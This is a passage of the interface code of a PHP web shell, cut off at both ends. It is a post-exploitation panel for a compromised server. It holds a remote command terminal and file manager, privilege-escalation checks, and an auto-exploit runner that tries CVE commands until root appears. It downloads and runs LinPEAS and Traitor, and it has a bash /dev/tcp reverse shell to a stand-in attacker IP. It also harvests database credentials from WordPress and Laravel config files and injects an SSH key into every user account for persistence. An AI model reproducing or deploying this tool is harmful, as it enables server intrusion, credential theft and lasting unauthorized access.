.header{background:#252526;padding:15px 20px;border-radius:8px 8px 0 0;border-bottom:2px solid #0d7377;display:flex;justify-content:space-between;align-items:center;flex-wrap:wrap}
.title{font-size:18px;font-weight:bold;color:#0d7377}
.nav{display:flex;gap:15px;flex-wrap:wrap}
.nav a{padding:8px 14px;background:#2d2d2d;border-radius:4px;transition:all .3s;font-size:12px}
.nav a:hover,.nav a.active{background:#0d7377;color:#fff;text-decoration:none}
.info{background:#252526;padding:12px 20px;border-left:3px solid #0d7377;margin:20px 0;font-size:12px}
.content{background:#252526;padding:20px;border-radius:0 0 8px 8px;min-height:500px}
.msg{padding:10px 15px;background:#2d2d2d;border-left:3px solid #0f9d58;margin-bottom:15px;border-radius:4px}
table{width:100%;border-collapse:collapse;margin-top:15px}
th{background:#2d2d2d;padding:12px;text-align:left;border-bottom:2px solid #0d7377;font-weight:normal}
td{padding:10px 12px;border-bottom:1px solid #2d2d2d}
tr:hover{background:#2d2d2d}
input,textarea,select{background:#2d2d2d;border:1px solid #444;color:#d4d4d4;padding:8px 12px;border-radius:4px;font:13px monospace;outline:none;width:100%}
input:focus,textarea:focus,select:focus{border-color:#0d7377}
textarea{min-height:150px;resize:vertical}
button,.btn{background:#0d7377;color:#fff;border:none;padding:10px 20px;border-radius:4px;cursor:pointer;font:13px monospace;transition:all .3s;display:inline-block}
button:hover,.btn:hover{background:#14919b;text-decoration:none}
button:disabled{background:#444;cursor:not-allowed}
.actions{display:flex;gap:10px;margin-bottom:20px;flex-wrap:wrap}
.terminal{background:#1e1e1e;padding:15px;border-radius:4px;border:1px solid #2d2d2d;font-family:'Courier New',monospace}
.prompt{color:#0f9d58}
.output{white-space:pre-wrap;word-wrap:break-word;margin-top:10px;color:#d4d4d4;max-height:600px;overflow-y:auto}
.breadcrumb{margin:15px 0;font-size:12px}
.breadcrumb a{color:#4ec9b0;padding:4px 8px;background:#2d2d2d;border-radius:3px;display:inline-block;margin:2px}
.modal{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,.8);z-index:1000;padding:20px;overflow:auto}
.modal-content{background:#252526;max-width:900px;margin:50px auto;padding:25px;border-radius:8px;border:2px solid #0d7377}
.modal-header{display:flex;justify-content:space-between;margin-bottom:20px;padding-bottom:10px;border-bottom:1px solid #2d2d2d}
.modal-title{font-size:16px;font-weight:bold;color:#0d7377}
.close{color:#db4437;font-size:24px;cursor:pointer;line-height:1}
.close:hover{color:#e57373}
.form-group{margin-bottom:15px}
.form-group label{display:block;margin-bottom:5px;color:#888}
#loading{display:none;position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);background:#0d7377;color:#fff;padding:15px 30px;border-radius:8px;z-index:2000;box-shadow:0 4px 12px rgba(0,0,0,.5)}
.config-section{background:#2d2d2d;padding:15px;border-radius:4px;margin-bottom:15px}
.config-section h4{color:#0d7377;margin-bottom:10px;font-size:14px;border-bottom:1px solid #444;padding-bottom:8px}
.config-list{max-height:300px;overflow-y:auto;background:#1e1e1e;padding:10px;border-radius:4px}
.success-badge{background:#0f9d58;color:#fff;padding:3px 8px;border-radius:3px;font-size:11px;font-weight:bold}
.fail-badge{background:#db4437;color:#fff;padding:3px 8px;border-radius:3px;font-size:11px;font-weight:bold}
.warning-badge{background:#f4b400;color:#000;padding:3px 8px;border-radius:3px;font-size:11px;font-weight:bold}
.info-badge{background:#569cd6;color:#fff;padding:3px 8px;border-radius:3px;font-size:11px;font-weight:bold}
.grid-2{display:grid;grid-template-columns:1fr 1fr;gap:15px}
.progress-bar{background:#1e1e1e;height:24px;border-radius:4px;overflow:hidden;margin:10px 0}
.progress-fill{background:linear-gradient(90deg,#0d7377,#14919b);height:100%;transition:width .3s;display:flex;align-items:center;justify-content:center;color:#fff;font-size:11px;font-weight:bold}
.result-item{background:#252526;padding:12px;margin:8px 0;border-radius:4px;border-left:3px solid #4ec9b0}
.result-item.success{border-left-color:#0f9d58}
.result-item.fail{border-left-color:#db4437}
.result-item.warning{border-left-color:#f4b400}
.cred-row{font-size:12px;margin:5px 0;padding:5px;background:#1e1e1e;border-radius:3px}
.cred-row strong{color:#4ec9b0;display:inline-block;width:80px}
.exploit-card{background:#252526;padding:15px;margin:10px 0;border-radius:4px;border:1px solid #444;transition:all .3s}
.exploit-card:hover{border-color:#0d7377;box-shadow:0 0 10px rgba(13,115,119,.3)}
.exploit-card .header{background:transparent;padding:0;border:none;margin-bottom:10px}
.exploit-card .title{font-size:14px;color:#4ec9b0}
.exploit-card .meta{font-size:11px;color:#888;margin:5px 0}
.system-info-box{background:#1e1e1e;padding:12px;border-radius:4px;margin:10px 0;border-left:3px solid #0d7377}
.system-info-row{padding:5px 0;font-size:12px}
.system-info-row strong{color:#4ec9b0;display:inline-block;width:150px}
@media(max-width:768px){.grid-2{grid-template-columns:1fr}}
code{background:#1e1e1e;padding:2px 6px;border-radius:3px;color:#0d7377;font-size:11px}
</style>
</head>
<body>
<div id="loading">⏳ Loading...</div>
<div class="container">
<div class="header">
    <div class="title">🐚 <?php echo $GLOBALS['title'].' : '.$GLOBALS['ver']; ?></div>
    <div class="nav">
        <a href="#" onclick="navigate('<?php echo $GLOBALS['home_dir']; ?>'); return false;">🏠 Home</a>
        <a href="#" onclick="showTab('explorer'); return false;" class="active" id="tab-explorer">📁 Explorer</a>
        <a href="#" onclick="showTab('terminal'); return false;" id="tab-terminal">💻 Terminal</a>
        <a href="#" onclick="showTab('config'); return false;" id="tab-config">📋 Config</a>
    </div>
</div>

<div class="info">
    <strong>System:</strong> <?php echo php_uname(); ?> <strong>|</strong>
    <strong>PHP:</strong> <?php echo phpversion(); ?> <strong>|</strong>
    <strong>Server:</strong> <?php echo $_SERVER['SERVER_SOFTWARE']??'Unknown'; ?> <strong>|</strong>
    <strong>User:</strong> <?php echo get_current_user().' ('.getmyuid().')'; ?> <strong>|</strong>
    <strong>Server IP:</strong> <?php echo gethostbyname($_SERVER["HTTP_HOST"]??'localhost'); ?> <strong>|</strong>
    <strong>Your IP:</strong> <?php echo $_SERVER['REMOTE_ADDR']; ?>
</div>

<div id="terminal-content" style="display:none;">
        <form onsubmit="return execCmd();" class="terminal">
            <div class="prompt"><strong><?php echo get_current_user().'@'.php_uname('n'); ?>:</strong><span id="term-path"><?php echo $cwd; ?></span>$</div>
            <input type="text" id="terminal-cmd" style="margin-top:10px;" placeholder="Enter command..." autofocus>
            <button type="submit" style="margin-top:10px;">Execute</button>
            <button type="button" onclick="getProcesses()" style="margin-top:10px;background:#569cd6;">⚙️ Show Processes</button>
        </form>
        <div id="terminal-output" class="output"></div>

<div style="margin-top:20px;padding:15px;background:#2d2d2d;border-radius:4px;">
            <strong>📌 Quick Commands:</strong><br><br>

<strong style="color:#4ec9b0;">Basic:</strong><br>
            <a href="#" onclick="quickCmd('ls -la'); return false;">ls -la</a> |
            <a href="#" onclick="quickCmd('pwd'); return false;">pwd</a> |
            <a href="#" onclick="quickCmd('whoami'); return false;">whoami</a> |
            <a href="#" onclick="quickCmd('id'); return false;">id</a> |
            <a href="#" onclick="quickCmd('uname -a'); return false;">uname -a</a> |
            <a href="#" onclick="quickCmd('cat /etc/passwd'); return false;">passwd</a> |
            <a href="#" onclick="quickCmd('netstat -tulpn'); return false;">netstat</a>
            <br><br>

<strong style="color:#f4b400;">PrivEsc Checks:</strong><br>
            <a href="#" onclick="quickCmd('sudo -l'); return false;">sudo -l</a> |
            <a href="#" onclick="quickCmd('find / -perm -4000 2>/dev/null | head -30'); return false;">SUID</a> |
            <a href="#" onclick="quickCmd('getcap -r / 2>/dev/null'); return false;">capabilities</a> |
            <a href="#" onclick="quickCmd('cat /etc/crontab'); return false;">crontab</a> |
            <a href="#" onclick="quickCmd('ls -la /etc/cron*'); return false;">cron dirs</a>
        </div>

<div style="margin-top:15px;padding:15px;background:#2d2d2d;border-radius:4px;">
            <strong>🎯 Smart Exploit Selector:</strong><br><br>

<button onclick="detectAndSelectExploits()" style="width:100%;padding:15px;background:#0f9d58;font-size:14px;font-weight:bold;margin-bottom:15px;">
                🚀 AUTO-DETECT & SELECT BEST EXPLOITS
            </button>

<div style="margin-top:15px;padding:15px;background:#2d2d2d;border-radius:4px;">
            <strong>⚡ Manual Exploits:</strong><br><br>

<div style="display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:10px;">
                <button onclick="run_linpeas()" style="background:#0f9d58;padding:12px;text-align:center;font-size:13px;">
                    🔍 LinPEAS<br><small style="font-size:11px;">Full Enum</small>
                </button>

<button onclick="run_traitor()" style="background:#569cd6;padding:12px;text-align:center;font-size:13px;">
                    🤖 Traitor<br><small style="font-size:11px;">Auto PrivEsc</small>
                </button>

<button onclick="rev_shell()" style="background:#f4b400;color:#000;padding:12px;text-align:center;font-size:13px;">
                    🐚 Rev Shell<br><small style="font-size:11px;">Bash TCP</small>
                </button>

<button onclick="quick_privesc_check()" style="background:#db4437;padding:12px;text-align:center;font-size:13px;">
                    ⚡ Quick Check<br><small style="font-size:11px;">SUID/Sudo/Caps</small>
                </button>
            </div>

<div style="margin-top:15px;padding:10px;background:#1e1e1e;border-radius:4px;font-size:11px;color:#888;">
                <strong>💡 Tips:</strong><br>
                • Smart Selector: Auto-detects kernel/OS and recommends best exploits<br>
                • LinPEAS: Comprehensive enumeration (1-2 min)<br>
                • Traitor: Automated privilege escalation tool<br>
                • Rev Shell: Start listener first: <code>nc -lvnp 4444</code><br>
                • Quick Check: Fast SUID/sudo/capabilities scan
            </div>
        </div>
    </div>

<div id="config-content" style="display:none;">
        <h3 style="margin-bottom:20px;color:#0d7377;">📋 Smart Configuration Scanner & Post-Exploitation Tools</h3>

<div class="config-section">
            <h4>🤖 Smart Auto Scanner</h4>
            <p style="font-size:12px;color:#888;margin-bottom:10px;">
                Automatically scan all config files (WordPress, Laravel, Joomla, Drupal) → Parse credentials → Test MySQL connections
            </p>
            <button onclick="smartAutoScan()" style="width:100%;padding:15px;background:#0f9d58;font-size:14px;font-weight:bold;">
                🚀 START SMART SCAN
            </button>

<div id="smart-scan-progress" style="display:none;margin-top:15px;">
                <div class="progress-bar">
                    <div id="scan-progress-fill" class="progress-fill" style="width:0%;">0%</div>
                </div>
                <div style="color:#f4b400;font-size:12px;margin-top:5px;">
                    <span id="scan-status">Initializing...</span>
                </div>
            </div>

<div class="grid-2">
            
            <div>
                
                <div class="config-section">
                    <h4>🌐 Domain & Web Root Discovery</h4>
                    <button onclick="getDomainList()" style="width:100%;">📋 Discover Domains</button>
                    <div id="domain-list" class="config-list" style="margin-top:10px;">
                        <div style="padding:10px;color:#888;text-align:center;">Click button to scan</div>
                    </div>
                </div>

<div class="config-section">
                    <h4>📁 Directory Jumping (Salto)</h4>
                    <p style="font-size:12px;color:#888;margin-bottom:10px;">
                        Leave empty for auto-scan or enter paths (one per line)
                    </p>
                    <textarea id="jump-paths" placeholder="/home&#10;/var/www&#10;/opt&#10;/tmp" style="min-height:100px;"></textarea>
                    <button onclick="executeDirJump()" style="margin-top:10px;width:100%;">🚀 Execute Jump</button>
                    <div id="jump-results" class="terminal" style="margin-top:10px;max-height:400px;overflow-y:auto;display:none;"></div>
                </div>
            </div>

<div>
                
                <div class="config-section">
                    <h4>🔑 SSH Key Injector</h4>
                    <p style="font-size:12px;color:#888;margin-bottom:10px;">
                        Inject your SSH public key to all accessible user accounts
                    </p>
                    <textarea id="ssh-public-key" placeholder="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC... your-email@example.com" style="min-height:100px;"></textarea>
                    <button onclick="injectSSHKey()" style="margin-top:10px;width:100%;background:#db4437;font-weight:bold;">
                        💉 INJECT TO ALL USERS
                    </button>
                    <div id="ssh-inject-results" style="margin-top:10px;"></div>
                </div>
            </div>
        </div>
    </div>
</div>
</div>

<div id="uploadModal" class="modal">
    <div class="modal-content">
        <div class="modal-header">
            <div class="modal-title">⬆️ Upload File</div>
            <span class="close" onclick="closeModal('uploadModal')">&times;</span>
        </div>
        <form id="uploadForm" onsubmit="return doUpload();">
            <div class="form-group">
                <input type="file" id="uploadFile" required>
            </div>
            <button type="submit">Upload</button>
        </form>
    </div>
</div>

<div id="newfileModal" class="modal">
    <div class="modal-content">
        <div class="modal-header">
            <div class="modal-title">📄 Create New File</div>
            <span class="close" onclick="closeModal('newfileModal')">&times;</span>
        </div>
        <div class="form-group">
            <label>Filename:</label>
            <input type="text" id="newfile-name" placeholder="example.txt">
        </div>
        <div class="form-group">
            <label>Content:</label>
            <textarea id="newfile-content" placeholder="File content..."></textarea>
        </div>
        <button onclick="doNewFile()">Create</button>
    </div>
</div>

<div id="newfolderModal" class="modal">
    <div class="modal-content">
        <div class="modal-header">
            <div class="modal-title">📁 Create New Folder</div>
            <span class="close" onclick="closeModal('newfolderModal')">&times;</span>
        </div>
        <div class="form-group">
            <label>Folder name:</label>
            <input type="text" id="newfolder-name" placeholder="new_folder">
        </div>
        <button onclick="doNewFolder()">Create</button>
    </div>
</div>

<div id="editModal" class="modal">
    <div class="modal-content">
        <div class="modal-header">
            <div class="modal-title">✏️ Edit File: <span id="editFileName"></span></div>
            <span class="close" onclick="closeModal('editModal')">&times;</span>
        </div>
        <input type="hidden" id="editFilePath">
        <div class="form-group">
            <textarea id="editFileContent" style="min-height:400px;"></textarea>
        </div>
        <button onclick="doEdit()">💾 Save</button>
    </div>
</div>

<div id="viewModal" class="modal">
    <div class="modal-content">
        <div class="modal-header">
            <div class="modal-title">👁️ View File: <span id="viewFileName"></span></div>
            <span class="close" onclick="closeModal('viewModal')">&times;</span>
        </div>
        <div class="terminal">
            <pre id="viewFileContent" style="max-height:500px;overflow:auto;"></pre>
        </div>
    </div>
</div>

// AJAX helper
function ajax(data, callback){
    document.getElementById('loading').style.display = 'block';

var xhr = new XMLHttpRequest();
    xhr.open('POST', location.href, true);
    xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');

if(data instanceof FormData){
        // File upload - no additional headers
    } else {
        xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
        var params = [];
        for(var key in data){
            params.push(key + '=' + encodeURIComponent(data[key]));
        }
        data = params.join('&');
    }

xhr.onload = function(){
        document.getElementById('loading').style.display = 'none';
        if(xhr.status === 200){
            try{
                var res = JSON.parse(xhr.responseText);
                callback(res);
            } catch(e){
                showMsg('Error: ' + e.message, 'error');
                console.error('Response:', xhr.responseText);
            }
        } else {
            showMsg('Request failed: ' + xhr.status, 'error');
        }
    };

xhr.onerror = function(){
        document.getElementById('loading').style.display = 'none';
        showMsg('Connection error', 'error');
    };

xhr.send(data);
}

function showMsg(msg, type){
    var el = document.getElementById('msg');
    el.textContent = msg;
    el.style.display = 'block';
    el.style.borderLeftColor = type === 'error' ? '#db4437' : '#0f9d58';
    setTimeout(function(){ el.style.display = 'none'; }, 5000);
}

function showTab(tab){
    document.getElementById('explorer-content').style.display = 'none';
    document.getElementById('terminal-content').style.display = 'none';
    document.getElementById('config-content').style.display = 'none';

document.querySelectorAll('.nav a').forEach(function(a){ a.classList.remove('active'); });

document.getElementById(tab + '-content').style.display = 'block';
    document.getElementById('tab-' + tab).classList.add('active');
}

function doEdit(){
    var path = document.getElementById('editFilePath').value;
    var content = document.getElementById('editFileContent').value;

ajax({editfile: path, content: content}, function(res){
        if(res.success){
            showMsg(res.message, 'success');
            closeModal('editModal');
        } else {
            showMsg('Save failed', 'error');
        }
    });
}

function deleteItem(path, name){
    if(!confirm('Delete: ' + name + '?')) return;

ajax({delete: path}, function(res){
        if(res.success){
            showMsg(res.message, 'success');
            location.reload();
        } else {
            showMsg('Delete failed', 'error');
        }
    });
}

function renameItem(path, oldname){
    var newname = prompt('Rename to:', oldname);
    if(!newname || newname === oldname) return;

ajax({rename_from: path, rename_to: newname}, function(res){
        if(res.success){
            showMsg(res.message, 'success');
            location.reload();
        } else {
            showMsg('Rename failed', 'error');
        }
    });
}

function chmodItem(path){
    var perms = prompt('Enter permissions (e.g., 0755):', '0644');
    if(!perms) return;

ajax({chmod_file: path, chmod_perms: perms}, function(res){
        if(res.success){
            showMsg(res.message, 'success');
            location.reload();
        } else {
            showMsg('Chmod failed', 'error');
        }
    });
}

function showUpload(){
    showModal('uploadModal');
}

function doUpload(){
    var formData = new FormData();
    formData.append('file', document.getElementById('uploadFile').files[0]);

ajax(formData, function(res){
        if(res.success){
            showMsg(res.message, 'success');
            closeModal('uploadModal');
            location.reload();
        } else {
            showMsg('Upload failed', 'error');
        }
    });

return false;
}

function showNewFile(){
    showModal('newfileModal');
}

function doNewFile(){
    var name = document.getElementById('newfile-name').value;
    var content = document.getElementById('newfile-content').value;

if(!name){
        alert('Please enter filename');
        return;
    }

ajax({newfile: name, newfile_content: content}, function(res){
        if(res.success){
            showMsg(res.message, 'success');
            closeModal('newfileModal');
            location.reload();
        }
    });
}

function showNewFolder(){
    showModal('newfolderModal');
}

function doNewFolder(){
    var name = document.getElementById('newfolder-name').value;

if(!name){
        alert('Please enter folder name');
        return;
    }

ajax({newfolder: name}, function(res){
        if(res.success){
            showMsg(res.message, 'success');
            closeModal('newfolderModal');
            location.reload();
        }
    });
}

function execCmd(){
    var cmd = document.getElementById('terminal-cmd').value;
    if(!cmd) return false;

ajax({terminal_cmd: cmd}, function(res){
        if(res.success){
            document.getElementById('terminal-output').textContent = res.data;
        }
    });

return false;
}

function quickCmd(cmd){
    document.getElementById('terminal-cmd').value = cmd;
    execCmd();
}

function getProcesses(){
    quickCmd('ps aux');
}

// ==================== SMART EXPLOIT SELECTOR ====================

function detectAndSelectExploits(){
    var resultsDiv = document.getElementById('exploit-selector-results');
    resultsDiv.innerHTML = '<div style="padding:15px;background:#1e1e1e;border-radius:4px;color:#f4b400;">⏳ Detecting system configuration...</div>';

ajax({detect_system: 1}, function(res){
        if(res.success){
            CURRENT_EXPLOITS = res.exploits;

// Display system info
            var html = '<div class="system-info-box">';
            html += '<h4 style="color:#0d7377;margin-bottom:10px;">📊 System Information</h4>';
            html += '<div class="system-info-row"><strong>Kernel:</strong> ' + res.system.kernel + '</div>';
            html += '<div class="system-info-row"><strong>Distribution:</strong> ' + res.system.distro + ' ' + res.system.distro_version + '</div>';
            html += '<div class="system-info-row"><strong>Architecture:</strong> ' + res.system.machine + '</div>';
            html += '<div class="system-info-row"><strong>glibc Version:</strong> ' + res.system.glibc_version + '</div>';
            html += '<div class="system-info-row"><strong>Sudo Version:</strong> ' + res.system.sudo_version + '</div>';
            html += '<div class="system-info-row"><strong>pkexec Available:</strong> ' + (res.system.pkexec_exists ? 'YES' : 'NO') + '</div>';
            html += '</div>';

// Display exploits
            if(res.exploits.length === 0){
                html += '<div style="padding:20px;background:#2d2d2d;border-radius:4px;margin-top:15px;text-align:center;color:#888;">';
                html += 'No exploits matched current system configuration.<br>Try manual exploits below or run LinPEAS for detailed enumeration.';
                html += '</div>';
            } else {
                html += '<div style="margin-top:20px;"><h4 style="color:#0f9d58;margin-bottom:10px;">🎯 Recommended Exploits (Priority Order)</h4></div>';

res.exploits.forEach(function(exploit, index){
                    html += '<div class="exploit-card">';
                    html += '<div class="header">';
                    html += '<div class="title">#' + (index + 1) + ' - ' + exploit.name + ' <span class="info-badge">' + exploit.cve + '</span></div>';
                    html += '</div>';
                    html += '<div class="meta">📝 ' + exploit.description + '</div>';
                    html += '<div class="meta">✅ ' + exploit.requirements + '</div>';
                    html += '<div class="meta">📊 Success Rate: <span style="color:#0f9d58;font-weight:bold;">' + exploit.success_rate + '%</span></div>';
                    html += '<div style="margin-top:10px;">';
                    html += '<button onclick="runExploit(' + index + ')" style="background:#0f9d58;margin-right:5px;">🚀 Execute Exploit</button>';
                    html += '<button onclick="showExploitCommands(' + index + ')" style="background:#569cd6;">📋 Show Commands</button>';
                    html += '</div>';
                    html += '<div id="exploit-commands-' + index + '" style="display:none;margin-top:10px;background:#1e1e1e;padding:10px;border-radius:4px;"></div>';
                    html += '</div>';
                });
            }

resultsDiv.innerHTML = html;
        } else {
            resultsDiv.innerHTML = '<div style="padding:15px;background:#db4437;border-radius:4px;color:#fff;">Detection failed</div>';
        }
    });
}

function showExploitCommands(index){
    var commandsDiv = document.getElementById('exploit-commands-' + index);
    var exploit = CURRENT_EXPLOITS[index];

if(commandsDiv.style.display === 'none'){
        var html = '<strong style="color:#4ec9b0;">Available Commands:</strong><br><br>';
        exploit.commands.forEach(function(cmd, i){
            html += '<div style="margin:8px 0;padding:8px;background:#252526;border-radius:3px;">';
            html += '<code style="color:#d4d4d4;font-size:11px;">' + escapeHtml(cmd) + '</code><br>';
            html += '<button onclick="runCommand(\'' + escapeHtml(cmd.replace(/'/g, "\\'")) + '\')" style="margin-top:5px;padding:5px 10px;font-size:11px;">▶️ Run This</button>';
            html += '</div>';
        });
        commandsDiv.innerHTML = html;
        commandsDiv.style.display = 'block';
    } else {
        commandsDiv.style.display = 'none';
    }
}

function runExploit(index){
    var exploit = CURRENT_EXPLOITS[index];

if(!confirm('Execute ' + exploit.name + ' (' + exploit.cve + ')?\n\nThis will attempt privilege escalation.')){
        return;
    }

showTab('terminal');
    document.getElementById('terminal-output').textContent = '=== Executing ' + exploit.name + ' ===\n\n';

// Try commands in sequence
    var tryNextCommand = function(cmdIndex){
        if(cmdIndex >= exploit.commands.length){
            document.getElementById('terminal-output').textContent += '\n\n[!] All methods attempted. Check output above.';
            return;
        }

var cmd = exploit.commands[cmdIndex];
        document.getElementById('terminal-output').textContent += '[*] Trying method ' + (cmdIndex + 1) + '...\n';
        document.getElementById('terminal-output').textContent += '$ ' + cmd + '\n\n';

ajax({terminal_cmd: cmd}, function(res){
            if(res.success){
                document.getElementById('terminal-output').textContent += res.data + '\n\n';

// If output suggests success, stop. Otherwise try next method
                if(res.data.indexOf('uid=0') !== -1 || res.data.indexOf('root') !== -1){
                    document.getElementById('terminal-output').textContent += '\n[✓] Exploit appears successful! Check for root privileges.\n';
                } else {
                    setTimeout(function(){
                        tryNextCommand(cmdIndex + 1);
                    }, 1000);
                }
            } else {
                tryNextCommand(cmdIndex + 1);
            }
        });
    };

tryNextCommand(0);
}

function runCommand(cmd){
    showTab('terminal');
    document.getElementById('terminal-cmd').value = cmd;
    execCmd();
}

// ==================== MANUAL EXPLOITS ====================

function run_linpeas(){
    if(!confirm('Run LinPEAS enumeration script?\n\nThis will generate detailed privilege escalation report (may take 1-2 minutes).')){
        return;
    }

showTab('terminal');
    document.getElementById('terminal-output').textContent = 'Downloading LinPEAS...\n';

var cmds = [
        'cd /tmp && curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh 2>&1 && chmod +x linpeas.sh 2>&1 && bash linpeas.sh 2>&1 | head -1000',
        'cd /tmp && wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -O linpeas.sh 2>&1 && chmod +x linpeas.sh 2>&1 && bash linpeas.sh 2>&1 | head -1000'
    ];

var tryCmd = function(index){
        if(index >= cmds.length){
            document.getElementById('terminal-output').textContent += '\n[!] All methods failed. curl/wget may not be available.';
            return;
        }

ajax({terminal_cmd: cmds[index]}, function(res){
            if(res.success && res.data.length > 100){
                document.getElementById('terminal-output').textContent = res.data;
            } else {
                tryCmd(index + 1);
            }
        });
    };

tryCmd(0);
}

function run_traitor(){
    if(!confirm('Run Traitor automated privilege escalation?\n\nThis tool will automatically detect and exploit vulnerabilities.')){
        return;
    }

showTab('terminal');
    document.getElementById('terminal-output').textContent = 'Downloading Traitor...\n';

var cmd = 'cd /tmp && curl -fsSL https://github.com/liamg/traitor/releases/latest/download/traitor-amd64 -o traitor 2>&1 && chmod +x traitor 2>&1 && ./traitor -p 2>&1';

ajax({terminal_cmd: cmd}, function(res){
        if(res.success){
            document.getElementById('terminal-output').textContent = res.data;
        }
    });
}

function rev_shell(){
    var ip = prompt('Enter your IP:', ATTACKER_IP);
    if(!ip) return;

var port = prompt('Enter your port:', '4444');
    if(!port) return;

if(!confirm('Start reverse shell to ' + ip + ':' + port + '?\n\nMake sure you have listener ready:\nnc -lvnp ' + port)){
        return;
    }

showTab('terminal');

var cmd = 'bash -c "bash -i >& /dev/tcp/' + ip + '/' + port + ' 0>&1"';

ajax({terminal_cmd: cmd}, function(res){
        document.getElementById('terminal-output').textContent = 'Reverse shell initiated to ' + ip + ':' + port + '\n\nCheck your listener for connection.';
    });
}

function quick_privesc_check(){
    showTab('terminal');

var cmd = 'echo "=== SUDO PRIVILEGES ==="; sudo -l 2>&1; echo ""; echo "=== SUID BINARIES ==="; find / -perm -4000 -type f 2>/dev/null | head -30; echo ""; echo "=== CAPABILITIES ==="; getcap -r / 2>/dev/null | head -20; echo ""; echo "=== WRITABLE /etc/passwd ==="; ls -la /etc/passwd; echo ""; echo "=== KERNEL VERSION ==="; uname -a; echo ""; echo "=== CRON JOBS ==="; cat /etc/crontab 2>&1; ls -la /etc/cron.d/ 2>&1';

ajax({terminal_cmd: cmd}, function(res){
        if(res.success){
            document.getElementById('terminal-output').textContent = res.data;
        }
    });
}

// ==================== CONFIG SCANNER ====================

function smartAutoScan(){
    var progressDiv = document.getElementById('smart-scan-progress');
    var progressFill = document.getElementById('scan-progress-fill');
    var statusText = document.getElementById('scan-status');
    var resultsDiv = document.getElementById('smart-scan-results');

progressDiv.style.display = 'block';
    resultsDiv.innerHTML = '';

// Simulate progress
    var progress = 0;
    var progressInterval = setInterval(function(){
        progress += 5;
        if(progress <= 90){
            progressFill.style.width = progress + '%';
            progressFill.textContent = progress + '%';
        }
    }, 200);

statusText.textContent = 'Scanning config files...';

ajax({smart_scan: 1}, function(res){
        clearInterval(progressInterval);
        progressFill.style.width = '100%';
        progressFill.textContent = '100%';
        statusText.textContent = 'Scan complete!';

setTimeout(function(){
            progressDiv.style.display = 'none';
        }, 2000);

if(res.success){
            if(res.data.length === 0){
                resultsDiv.innerHTML = '<div style="padding:20px;text-align:center;color:#888;">No config files with credentials found</div>';
            } else {
                var html = '<div style="margin-bottom:10px;"><strong>Found ' + res.data.length + ' config files with credentials:</strong></div>';

res.data.forEach(function(item){
                    var itemClass = item.test.success ? 'success' : 'fail';
                    var badge = item.test.success ?
                        '<span class="success-badge">✓ CONNECTED</span>' :
                        '<span class="fail-badge">✗ FAILED</span>';

html += '<div class="result-item ' + itemClass + '">';
                    html += '<div style="margin-bottom:8px;"><strong>📄 ' + item.file + '</strong> ' + badge + '</div>';
                    html += '<div style="font-size:11px;color:#888;margin-bottom:8px;">Type: ' + item.type + ' | Method: ' + (item.test.method || 'N/A') + '</div>';

html += '<div class="cred-row"><strong>Host:</strong> ' + (item.credentials.host || 'N/A') + '</div>';
                    html += '<div class="cred-row"><strong>User:</strong> ' + (item.credentials.username || 'N/A') + '</div>';
                    html += '<div class="cred-row"><strong>Pass:</strong> ' + (item.credentials.password || 'N/A') + '</div>';
                    html += '<div class="cred-row"><strong>Database:</strong> ' + (item.credentials.database || 'N/A') + '</div>';

html += '<div style="margin-top:8px;font-size:11px;color:#4ec9b0;">' + item.test.message + '</div>';
                    html += '</div>';
                });

resultsDiv.innerHTML = html;
            }
        } else {
            resultsDiv.innerHTML = '<div style="padding:20px;color:#db4437;">Scan failed</div>';
        }
    });
}

function getDomainList(){
    var domainList = document.getElementById('domain-list');
    domainList.innerHTML = '<div style="padding:10px;color:#f4b400;text-align:center;">⏳ Scanning...</div>';

ajax({get_domains: 1}, function(res){
        if(res.success){
            if(res.data.length === 0){
                domainList.innerHTML = '<div style="padding:10px;color:#888;text-align:center;">No domains found</div>';
            } else {
                var html = '';
                res.data.forEach(function(domain){
                    html += '<div style="padding:8px;background:#252526;margin:5px 0;border-radius:3px;border-left:3px solid #0d7377;">';
                    html += '🌐 ' + domain;
                    html += '</div>';
                });
                domainList.innerHTML = html;
            }
        }
    });
}

function executeDirJump(){
    var paths = document.getElementById('jump-paths').value;
    var resultsDiv = document.getElementById('jump-results');

resultsDiv.style.display = 'block';
    resultsDiv.innerHTML = '<pre style="color:#f4b400;">⏳ Scanning directories...</pre>';

ajax({dir_jump: 1, jump_paths: paths}, function(res){
        if(res.success){
            resultsDiv.innerHTML = '<pre>' + escapeHtml(res.data) + '</pre>';
        }
    });
}

function injectSSHKey(){
    var sshKey = document.getElementById('ssh-public-key').value.trim();
    if(!sshKey){
        alert('Please paste your SSH public key');
        return;
    }

if(!confirm('Inject SSH key to all accessible users?')){
        return;
    }

var resultsDiv = document.getElementById('ssh-inject-results');
    resultsDiv.innerHTML = '<div style="padding:10px;background:#2d2d2d;border-radius:4px;color:#f4b400;">⏳ Injecting SSH keys...</div>';

ajax({inject_ssh: 1, ssh_key: sshKey}, function(res){
        if(res.success){
            var html = '<div style="margin-top:10px;"><strong>Injection Results:</strong></div>';
            var successCount = 0;

res.data.forEach(function(item){
                var itemClass = item.success ? 'success' : 'fail';
                var icon = item.success ? '✓' : '✗';

html += '<div class="result-item ' + itemClass + '">';
                html += '<div><strong>' + icon + ' User: ' + item.user + '</strong></div>';
                html += '<div style="font-size:11px;color:#888;margin:5px 0;">Path: ' + item.ssh_path + '</div>';
                html += '<div style="font-size:12px;">' + item.status + '</div>';
                if(item.method){
                    html += '<div style="font-size:11px;color:#888;margin-top:5px;">Method: ' + item.method + '</div>';
                }
                html += '</div>';

if(item.success) successCount++;
            });

html = '<div style="padding:10px;background:#0f9d58;border-radius:4px;margin-bottom:10px;"><strong>Successfully injected to ' + successCount + ' out of ' + res.data.length + ' users</strong></div>' + html;
            resultsDiv.innerHTML = html;
        } else {
            resultsDiv.innerHTML = '<div style="padding:10px;background:#db4437;border-radius:4px;color:#fff;">' + (res.message || 'Injection failed') + '</div>';
        }
    });
}

function escapeHtml(text){
    var div = document.createElement('div');
    div.textContent = text;
    return div.innerHTML;
}

function showModal(id){
    document.getElementById(id).style.display = 'block';
}

function closeModal(id){
